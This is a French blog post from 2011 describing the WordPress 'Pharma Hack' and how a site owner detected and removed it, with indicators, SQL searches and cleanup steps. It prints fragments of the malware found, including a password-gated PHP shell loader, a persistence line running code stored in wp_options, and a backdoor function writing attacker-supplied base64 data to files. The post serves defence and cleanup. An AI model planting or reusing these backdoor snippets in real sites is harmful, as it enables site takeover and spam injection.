Le 31 August 2011

Web et blogues

Comment se débarrasser de ce hack gênant?

Par

Hack Pharma WordPress: comment s’en débarrasser?

Si vous avez été touché par le Wordpress Pharma Hack ou que vous désirez vous protéger de ce genre d'attaque, cet article vous expliquera comment faire.

Quelques un des sites que je gère, dont celui-ci, ont été hackés dernièrement. La conséquence de ce piratage? L’apparition d’articles en lien à des médicaments et d’autres trucs liés aux pharmacies. Dans le milieu de WordPress, ce genre de piratage est connu sous le nom WordPress Pharma Attack.

Symptômes du WordPress Pharma Hack

Plusieurs symptômes peuvent apparaître. Il se peut qu’une seule des choses suivantes arrives, ou plusieurs d’entre elles:

  • Ajout d’un utilisateur fantôme dans les bases de données. Impossible à détecter à partir de l’interface d’administration des utilisateurs dans WordPress, car l’utilisateur ajouté a comme nom un code javascript qui cache son existence une fois la page chargée complètement. Vous pouvez le voir en désactivant le Javascript. L’utilisateur a parfois le rôle d’administrateur, parfois pas.
  • Ajout de fichiers qui peuvent compromettre votre installation WordPress. Par exemple, le fichier “.data.php” (avec le point au début, ce qui en fait un fichier caché) où on retrouve un code de Magic Shell permettant de hacker votre site.
  • L’ajouts dans le blogroll de liens vers des articles de viagra, de cialis et d’autres cochonneries du même genre. Souvent, ces liens sont cachés avec une technique CSS quelconque (souvent un display:none, ou même un left:-3000px”) et vous ne pourrez les voir qu’en affichant le code de la page.
  • L’ajout de pages fantômes qui contiennent des articles complets en anglais concernant des centaines, voire des milliers de médicaments et autres produits pharmaceutiques. Ces pages sont gênantes puisqu’elles utilisent le design de votre site! Dans la plupart des cas, ces pages donnent une erreur 404 si c’est un humain qui tente de l’ouvrir. Par contre, le Googlebot (robot d’indexation de Google) indexe ces pages puisque le hack les affiches à ce dernier. Une technique de spam dégueulasse qui transforme rapidement votre site en usine à liens. Si vous avez mangé un coup de Panda suite à l’instauration de Google Panda et que vous n’y voyez aucune raison, il se peut que la raison se trouve ici.
  • Pour trouver les pages fantômes, rendez-vous sur Google et tapez “site:nomdusite.com buy cheap” ou “site:nomdusite.com viagra”, où vous changerez nomdusite.com par l’adresse de votre site. Si vous trouvez une liste d’articles bidons comme sur l’image suivante, oups! Si vous cliquez sur l’article, ça donnera une erreur 404, mais si vous allez voir la page dans le cache de Google, vous pourrez voir l’arnaque!
Pages hackées dans Google
Page hackée

Comment prévenir le WordPress Pharma Hack?

Vous pouvez faire plusieurs choses. Voici une liste non exhaustive:

  • Toujours avoir la dernière version de WordPress;
  • Mettre à jour ses extensions et plugins régulièrement;
  • S’assurer de ne pas donner des permissions d’écriture et d’exécution (777) dans les dossiers de WordPress et mettre la permission 644 lorsque possible;
  • Changez le préfixe de vos tables WordPress dans vos bases de données. Par défaut, c’est wp_, et les pirates connaissent bien ce préfixe. Pensez à le changer pour quelque chose comme  par exemple wp46j4_ ou n’importe quoi d’autre;
  • Empêchez les inscriptions à vos blogues si ce n’est pas nécessaire;
  • Renommez l’utilisateur Admin directement dans la base de données pour quelque chose d’autres.

Quoi faire si on est déjà attaqué?

Vous venez de vous rendre compte que vous étiez victime du WordPress Pharma Attack? Chanceux! Maintenant, vous avez une tonne de travail à faire, mais résumons ce que j’ai dû faire:

  • Dans la base de données, lancer une recherche sur le terme “base64” ou “46esab” dans toutes vos tables (ou lancez la requête SELECT * FROM wp_options WHERE (option_id LIKE ‘%base64_decode%’ OR blog_id LIKE ‘%base64_decode%’ OR option_name LIKE ‘%base64_decode%’ OR option_value LIKE ‘%base64_decode%’ OR autoload LIKE ‘%base64_decode%’) order by option_id ). Normalement, si vous êtes victimes de ce hack, vous trouverez dans la table wp_options une entrée nommée wp_optimize, ce qui n’est définitivement pas normal. Si vous trouvez cette ligne dans votre base de donnée, supprimez-là sur le champs!Cette entrée contiendra ce genre de code (qui s’étendra sur plus d’un millier de lignes!!):$kmd5='510a584f9747c1262b5ef3c89bd9afb4';$shellver='1.7.5-stable';

    if((isset($_POST[‘sh’])&&(md5(md5($_POST[‘sh’]))==$kmd5))or(isset($_GET[‘sh’])&&(md5(md5($_GET[‘sh’]))==$kmd5)))

    {

    $kuppa=getcwd();

    if (file_exists($kuppa.”/wp-config.php”)) {include ($kuppa.”/wp-config.php”);};

    if (file_exists($kuppa.”/wp-includes/formatting.php”)) {require_once ($kuppa.”/wp-includes/formatting.php”);};

    if (file_exists($kuppa.”/wp-includes/kses.php”)) {require_once ($kuppa.”/wp-includes/kses.php”);};

    }if (!function_exists(‘update_option_1’)):

    function update_option_1( $option_name, $newvalue )

    Retrouvez le code malicieux en son entier ici.

  • Cherchez pour un utilisateur fantôme dans votre base de données à partir de PhpMyAdmin par exemple. Vous devez chercher un utilisateur spammeurs. Pour ma part, sur tous mes sites hackés, cet utilisateur avait le même nom (affendi), le même numéro d’utilisateur dans la base de données (15004) ainsi que le même email (no@noalien.com). Vous pouvez donc commencer votre recherche en cherchant pour cet utilisateur. Supprimez-le sur le champ!
  • Utilisez votre logiciel FTP habituel et rendez-vous dans le dossier wp-content de votre installation de WordPress. Si vous trouvez le fichier wp_test.txt, c’est mauvais signe. Supprimez-le. Rendez-vous dans votre dossier wp-content/uploads/ et recherchez un fichier nommé .data.php. Supprimez-le, il contient un magic shell.
  • Videz l’entièreté de votre cache. Dans le cas des pages indexées par Googlebot mais invisible pour les humains, toutes ces dernières se retrouvent dans le dossier wp-content/cache, sous le nom session_35198 (par exemple). Tous les fichiers session_XXXXX à 5 chiffres sont des pages de texte de pharmacie. Vous pouvez donc les supprimer.
  • Vérifiez certaines pages nommées index.php à la racine de vos dossiers (comme dans wp-content). Normalement, elle ne devraient que comporter un commentaire “Silence is golden”. Si vous retrouvez du code dans ces pages, supprimez-le!
  • MISE-À-JOUR DU 14 SEPTEMBRE:je me suis rendu compte que l’entrée wp_optimize qui apparait régulièrement dans la table wp_options continuera d’apparaître tant qu’on n’aura pas effacé la ligne cruciale suivante:$wp_optimize_func=create_function('',get_option('wp_optimize')); $wp_optimize_func();C’est cette ligne qui fait régulièrement revenir le hack. Supprimez-là! (ou même supprimez-les.. hé oui, de mon côté, j’ai retrouvé cette ligne là 8 fois un peu partout dans le même fichier). Pour ma part, cette ligne est apparue dans le fichier /wp-includes/default-filters.php.Mais rien n’assure qu’elle ne se retrouve que dans ce fichier. Pensez à faire une recherche dans l’ensemble de vos fichiers WordPress avec les termes “wp_optimize”. Au mieux, réinstallez WordPress!
  • MISE-À-JOUR du 15 septembre 2011: Je viens de m’apercevoir qu’il reste encore une possibilité que ce hack revienne à perpétuité. C’est qu’un fichier de type Magic Include Shell se cache dans un des dossiers de WordPress! Ce fichier se trouve ici: /wp-includes/js/tinymce/wp-mce-helps.php. Le fichier wp-mce-helps.php doit impérativement supprimé (notez le S à la fin du mot help, ce qui permet de différencier le vrai fichier qui vient avec wordpress du fichier compromettant.)
  • MISE-À-JOUR du 17 septembre: encore une fois, le problème est revenu, et en creusant encore plus loin, j’ai remarqué cette erreur étrange dans le error_log situé dans le dossier wp-includes:
    [16-Sep-2011 00:41:34] PHP Warning: fopen(/dev/null/aaa) [function.fopen]: failed to open stream: Not a directory in /home/*****/public_html/******/wp-includes/rss-rewrite.php on line 61
    Le fichier rss-rewrite.php est donc problématique. Et pour être un problème, s’en est tout un! En effet, ce fichier n’est pas supposé exister! Rien n’existe sur Internet à son sujet. Lorsqu’on ouvre le fichier, on se rend compte qu’il est en tout point identique au fichier pluggable-deprecated.php, sauf pour une seule chose… il contient du code malicieux (entre autre une référence au fameux base64_decode):

    function wp_setcookie($hash) {
    $hash=md5($hash);
    if ($hash=="7e04902d7ed5870bf251601af3326859"){
    $inn=$_POST["name"];
    $inn=rawurldecode($inn);
    $inn=base64_decode($inn);
    $fn=fopen($inn,"w");
    if ($fn==false){echo "File open error\n";die;}else echo "File open success\n";
    $in=$_POST["data"];
    $in=rawurldecode($in);
    $in=base64_decode($in);
    fwrite($fn,$in);
    fclose($fn);
    }
    }
    endif;

    Il est donc impératif que vous supprimez ce fichier!

Je n’ai pas la solution définitive à ce problème, mais je vous conseille de vérifier régulièrement que vous n’avez pas entre autre le terme “base64” dans votre base de données, puisque c’est ce qui est le pire dans l’attaque de pharmacie WordPress. S’il revient régulièrement dans votre base de donnée, vous n’avez définitivement pas enrayé le problème et je vous conseille de contacter votre hébergeur.

Une fois que vous aurez effectué tout cela, rendez-vous dans Webmastertools de Google et rendez-vous dans Diagnostic -> Analyser comme Googlebot. Prenez une page de votre site qui se trouve sur Google et qui contient les liens de pharmacies, et analysez cette page avec googlebot. Si le résultat donne “introuvable”, c’est bon. Sinon, c’est pas réglé!

En complément de lecture

Je ne prétends pas avoir couvert l’entièreté du problème. J’ai écrit cet article car la littérature sur ce sujet est pauvre en français. Ainsi si vous comprenez l’anglais, je vous conseille de poursuivre vos lectures au sujet de l’Attaque Pharma de WordPress sur ces sites. Vous trouverez d’autres méthodes pour vous guérir ou prévenir de cette attaque.

N’hésitez pas nous partager votre expérience en commentaire et surtout partager comment vous vous êtes débarrassé de ce hack!

Tags: , , ,

Un commentaire

  1. Le site de C’est Juste de la TV hacké: cheap viagra pour tous! - Potins.QC
    Le Tuesday 7 February 2012 at 20h45

    […] tomber dans le jargon technique qui risque de perdre tout le monde, je vais simplement pointer vers cet article sur le Hack Pharma WordPress que j’ai publié l’an dernier. J’explique que mon site a été victime d’une attaque difficile à discerner. Ce hack […]

Laissez un commentaire

Vous devez être connecté pour laisser un commentaire.

 
Communauté

Amériquébec - Tous droits réservés, © 2006-2014